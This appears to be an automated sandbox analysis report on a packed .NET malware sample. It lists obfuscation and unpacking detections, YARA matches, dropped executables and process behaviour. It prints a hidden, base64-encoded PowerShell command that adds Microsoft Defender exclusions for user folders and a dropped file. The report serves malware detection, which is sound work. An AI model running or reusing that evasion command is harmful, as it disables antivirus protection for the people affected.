Source:	Binary string: Fbedztzxbbe.pdb source: file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs

.Net Code: Type.GetTypeFromHandle(Khmx1Yt6SBxTndHcLiS.yA0DXaCBy7(16777370)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(Khmx1Yt6SBxTndHcLiS.yA0DXaCBy7(16777248)),Type.GetTypeFromHandle(Khmx1Yt6SBxTndHcLiS.yA0DXaCBy7(16777334))})

.NET source code contains potential unpacker

Source: file.exe, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: TypeId.exe.0.dr, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.file.exe.84e6078.17.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.file.exe.84e6078.17.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.file.exe.84e6078.17.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.file.exe.84e6078.17.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.file.exe.84e6078.17.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.file.exe.6f80000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.file.exe.6f80000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.file.exe.6f80000.15.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.file.exe.6e10000.14.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.file.exe.6e10000.14.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.file.exe.6e10000.14.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.file.exe.6e10000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.file.exe.6e10000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.file.exe.459c2e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.81dfff8.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8167fb8.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4a62b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.81dfff8.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4da8708.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.467db08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.818ffd8.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.459c2e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8167fb8.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6d60000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.94c0000.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.7596838.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.818ffd8.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.7c40000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4c760c8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2976520133.000000000309D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763526633.00000000033C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3095261684.0000000007491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2219301967.0000000007C40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2976520133.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784663616.0000000006D60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004A62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1818030083.00000000094C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1995844689.000000000289B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TypeId.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: txxbiwtbs.exe PID: 3624, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06100448 push es; retf	0_2_06100DAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06104D2D push es; iretd	0_2_06104D4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06100DE0 push es; retf	0_2_06100E4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06100DE3 push es; retf	0_2_06100E4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06E0459A push ebp; iretd	0_2_06E0459B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06E03106 push esp; iretd	0_2_06E03109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_071029E9 push eax; retf	0_2_071029F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E55BE0 push ebp; iretd	0_2_09E55BE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E55FB2 push ecx; iretd	0_2_09E55FB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E57361 push edx; iretd	0_2_09E57368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B99D2A5 pushad ; iretd	1_2_00007FFD9B99D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BB82316 push 8B485F93h; iretd	1_2_00007FFD9BB8231B
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D55202 push esp; retf	3_2_06D55209
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D65C8F push es; retf	3_2_06D65CB8
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D604A1 push es; retf	3_2_06D604A4
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_075FB705 push FFFFFF8Bh; iretd	3_2_075FB707
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_075FB475 push FFFFFF8Bh; iretd	3_2_075FB477
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07A7459A push ebp; iretd	3_2_07A7459B
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07A73106 push esp; iretd	3_2_07A73109
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07C739A8 push eax; retf 07B2h	3_2_07C73E89
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07C73300 pushfd ; ret	3_2_07C73349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08ADF3E6 push 0B58158Dh; ret	4_2_08ADF3EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08ADE79B push cs; ret	4_2_08ADE79C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3B6E01 push 8B04568Bh; retf	4_2_0A3B6E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3B6FBD push 8B0476FFh; retf	4_2_0A3B6FC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3B6D74 push 8B04568Bh; retf	4_2_0A3B6D81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9A2F91 push cs; ret	4_2_0A9A2F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9A2F11 push cs; ret	4_2_0A9A2F12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9A103F push cs; ret	4_2_0A9A1040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9A2836 push cs; ret	4_2_0A9A2837
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9A29E9 push eax; retf	4_2_0A9A29F6

Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs	High entropy of concatenated method names: 'I9M4QO4qB2a0IXiJetI', 'b6wj1A4aYmFuI0OhGoj', 'Iq5ou9bf1s', 'aAjRmY46l9nRDybJZAs', 'hF7CKc4JBtaJDC4fcIW', 'IIudEc4UKfLbr0oA3uh', 'yKnaIq4b7l4t2has25F', 'CGgZxt4mLE0QvjZde3S', 'kDQRMv4ORicQjvOUf1h', 'VdinR24lwqPMsw03Gur'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'Wu1953XvgCs8K9qZkQt'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, Wqs5URts4KOjaidB9QJ.cs	High entropy of concatenated method names: 'YBNaqvLQSi', 'pvCaaUlNbv', 'VkoaBc4DHI', 'WUKawN2oxw', 'J85a9UGWOg', 'heEa6lZuUB', 'paNaJeg9e4', 'eeyiRIndE8', 'WHkaUGJDqh', 'tw4abJLijJ'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, gWwFh6uutZrgsqwKKY.cs	High entropy of concatenated method names: 'TBIgfxPCab', 'TJ1ggw33WF', 'e6fgrHXbEm', 'hu3gYoFsZN', 'fNPgTxIx2Q', 'CdRgCV1Li1', 'IILgpN3iiP', 'RAmgcXnOiK', 'Bd7goHmTqU', 'LRWgtVbJQT'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, Wbs8nJYojjAvBw9Hhml.cs	High entropy of concatenated method names: 'D1EYiO6J8K', 'xwTYRgTVux', 'vJlY0SGosW', 'zq2Yxyrt08', 'aP0IboXq4hTeF0gQ9wJ', 'dVxZKYXa6LclnuJ5ee6', 'pQ9JfpXBPiH7T4Vcrta'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, J6tGnyHiUI5UPRSjfZ.cs	High entropy of concatenated method names: 'U70jBSXn5', 'dMqLWJfnG', 'IrkEltLsS', 'Fr978ENva', 'To5PjKBDa', 'ITtn1AeTu', 'vJgMmdatA', 'US5AQ3bYV', 'T6m0dnkB6kSpsMRXfpN', 'lQsld7kw4Lynf8VnZrJ'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, Khmx1Yt6SBxTndHcLiS.cs	High entropy of concatenated method names: 'yA0DXaCBy7', 'PLKD8ijtF0', 'rK8Nbk4VQ8s3xgVtxaM', 'uhkw3u4DDAijN7TSpEl', 'bZsmiM4SaUIiCG2pVVO', 'Jf4qWj4slcbkra3Lago', 'BV8jOd4vtlorEUV1k4C', 'ceUqK84HTAtTTIEGh89'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, qHLtQPrzIOZ8bY0fBih.cs	High entropy of concatenated method names: 'sayYgnSNDo', 'yw9YryL69X', 'OYPYYS8uP8', 'dCgYTJMxJc', 'tarYCPE8Af', 'iXGYp6FjBE', 'JQqf0cXfrZlBlmrY9Ly', 'vyxcZ7XgJHoWaIVFIRE', 'tM0wuAXrTnrcQ6M49E3', 'JpoKKlXY78EwjY9LQAg'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, EgOZ8Bh7IS3c7wI5eg.cs	High entropy of concatenated method names: 'zofQGtWwY', 'SXb5B6n9S', 'q7feUEnuH', 'lIMZYRRiF', 'X7gKuDU4u', 'MvQ1Qs4Zp', 'sZuywDECs', 'A0Md2IxGc', 'i7rkK8RKD', 'rQnXW5MIl'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, bkFcHwrdJkSsEUL23AN.cs	High entropy of concatenated method names: 'IFIrSDbbfZ', 'nkSrsQu8BQ', 'WSUrXoqqL2', 'kKQr8IubBs', 'XAwr4AQGkp', 'zYsrNIbDl4', 'UDmryF56xR', 'KA5rGsPscL', 'lwArVbRcYJ', 'xQKrD1Cov0'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, osNFZZtOwYpFwvRLpuE.cs	High entropy of concatenated method names: 'KB1tkQBP5t', 'G10tXsrmIG', 'cxyt85MoHy', 'JOot4HCWPf', 'oTOtNGNTer', 'jf3tyldlb6', 'P6gtGjc00v', 'n5ktVm1yqV', 'JdstDuUIVQ', 'VAVtSjaiid'

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
